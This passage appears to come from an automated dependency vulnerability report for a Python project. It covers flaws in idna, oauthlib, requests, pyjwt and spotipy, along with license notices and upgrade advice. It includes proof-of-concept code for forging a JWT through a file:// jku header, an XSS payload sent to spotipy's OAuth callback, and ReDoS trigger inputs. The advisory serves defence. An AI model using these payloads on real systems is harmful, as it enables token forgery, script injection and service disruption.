    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › requests@2.31.0 › idna@3.10
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › cachecontrol@0.14.0 › requests@2.31.0 › idna@3.10
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › idna@3.10
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › requests@2.31.0 › idna@3.10
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › requests@2.31.0 › idna@3.10
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › requests-oauthlib@2.0.0 › requests@2.31.0 › idna@3.10
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › idna@3.10
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › requests@2.31.0 › idna@3.10
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › requests@2.31.0 › idna@3.10
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › idna@3.10
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › idna@3.10
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the idna.encode() function when processing very large domain name inputs that exploit the valid_contexto() function before length validation. This is triggered by arbitrarily large inputs that would not occur in normal usage, like "\u0660" * N or "\u30fb" * N + "\u6f22" for large N. Such values may be passed to the library if there is no preliminary input validation by the higher-level application.

Note: This is a bypass of the fix for the vulnerability described in CVE-2024-3651.

Workaround

This vulnerability can be mitigated by enforcing a maximum domain name length of 253 characters before passing input to the function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade idna to version 3.15 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: oauthlib
  • Introduced through: google-auth-oauthlib@1.3.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › requests-oauthlib@2.0.0 › oauthlib@3.2.2
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the callback parameter in prepare_token_revocation_request and the enable_jsonp option in RevocationEndpoint. When JSONP support is enabled on the revocation endpoint, an attacker can supply an arbitrary callback value that is reflected directly into the response body as a JavaScript function call, allowing cross-site script inclusion and execution of attacker-controlled JavaScript in the victim's browser context.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade oauthlib to version 4.0.0 or higher.

References

medium severity

Insecure Temporary File

  • Vulnerable module: requests
  • Introduced through: requests@2.31.0, linkedin-api@2.2.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › requests@2.31.0
    Remediation: Upgrade to requests@2.33.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › requests@2.31.0
    Remediation: Upgrade to linkedin-api@2.2.1.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › requests@2.31.0
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › requests@2.31.0
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › cachecontrol@0.14.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › requests-oauthlib@2.0.0 › requests@2.31.0
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Insecure Temporary File via the extract_zipped_paths function. An attacker can leverage unauthorized file replacement by pre-creating a malicious file in the system's temporary directory prior to extraction.

Note: Only applications that call extract_zipped_paths() directly are impacted.

Workaround

This vulnerability can be mitigated by setting the TMPDIR environment variable to a directory with restricted write access.

Remediation

Upgrade requests to version 2.33.0 or higher.

References

medium severity

MPL-2.0 license

  • Module: certifi
  • Introduced through: requests@2.31.0, linkedin-api@2.2.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › requests@2.31.0 › certifi@2026.11.20
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › requests@2.31.0 › certifi@2026.11.20
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › requests@2.31.0 › certifi@2026.11.20
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › requests@2.31.0 › certifi@2026.11.20
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › cachecontrol@0.14.0 › requests@2.31.0 › certifi@2026.11.20
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › certifi@2026.11.20
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › requests@2.31.0 › certifi@2026.11.20
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › requests@2.31.0 › certifi@2026.11.20
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › requests-oauthlib@2.0.0 › requests@2.31.0 › certifi@2026.11.20
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › certifi@2026.11.20
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › requests@2.31.0 › certifi@2026.11.20
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › requests@2.31.0 › certifi@2026.11.20
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › certifi@2026.11.20
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › certifi@2026.11.20

MPL-2.0 license

medium severity

MPL-2.0 license

  • Module: py-vapid
  • Introduced through: py-vapid@1.9.6 and pywebpush@2.1.2

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › py-vapid@1.9.6
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › py-vapid@1.9.6

MPL-2.0 license

medium severity

LGPL-3.0 license

  • Module: python-telegram-bot
  • Introduced through: python-telegram-bot@20.3

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › python-telegram-bot@20.3

LGPL-3.0 license

medium severity

MPL-2.0 license

  • Module: pywebpush
  • Introduced through: pywebpush@2.1.2

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2

MPL-2.0 license

low severity

Unintended Proxy or Intermediary ('Confused Deputy')

  • Vulnerable module: pyjwt
  • Introduced through: firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via the uri parameter being passed directly to urllib.request.urlopen, which allows fetching resources using unsupported schemes such as file, ftp, and data. An attacker can access arbitrary local files or external resources and potentially forge tokens by supplying crafted URLs.

Note:

This is only exploitable if the application's jku URL ingestion path accepts attacker-controlled URLs.

PoC

import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time

# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n

def b64u(n):
    bl = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()

# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
                  "n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
    json.dump(jwks, f)

# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
    {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
    priv_pem, algorithm="RS256",
    headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"])      # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
                       audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}

Remediation

Upgrade pyjwt to version 2.13.0 or higher.

References

low severity

Cross-site Scripting (XSS)

  • Vulnerable module: spotipy
  • Introduced through: spotipy@2.23.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0
    Remediation: Upgrade to spotipy@2.25.2.

Overview

spotipy is an A light weight Python library for the Spotify Web API

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the RequestHandler.do_GET function due to the error parameter in the OAuth callback server. An attacker can execute arbitrary JavaScript in the user's browser by injecting malicious code during the authentication process.

PoC

#!/usr/bin/env python3
# poc_xss.py - Demonstrates XSS in spotipy OAuth callback

import requests
from spotipy.oauth2 import start_local_http_server
import threading
import time

# Start vulnerable server in background
def start_server():
    server = start_local_http_server(8080)
    server.handle_request()

thread = threading.Thread(target=start_server, daemon=True)
thread.start()
time.sleep(2)

# Send XSS payload
payload = '<script>alert("XSS")</script>'
url = f'http://127.0.0.1:8080/?error={payload}&state=test'

response = requests.get(url)
print(f"Status: {response.status_code}")
print(f"\nHTML Response:\n{response.text}")

# Check if vulnerable
if payload in response.text:
    print(f"\n[!] VULNERABLE: Payload '{payload}' reflected without escaping!")
else:
    print("\n[+] Safe: Payload was sanitized")

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade spotipy to version 2.25.2 or higher.

References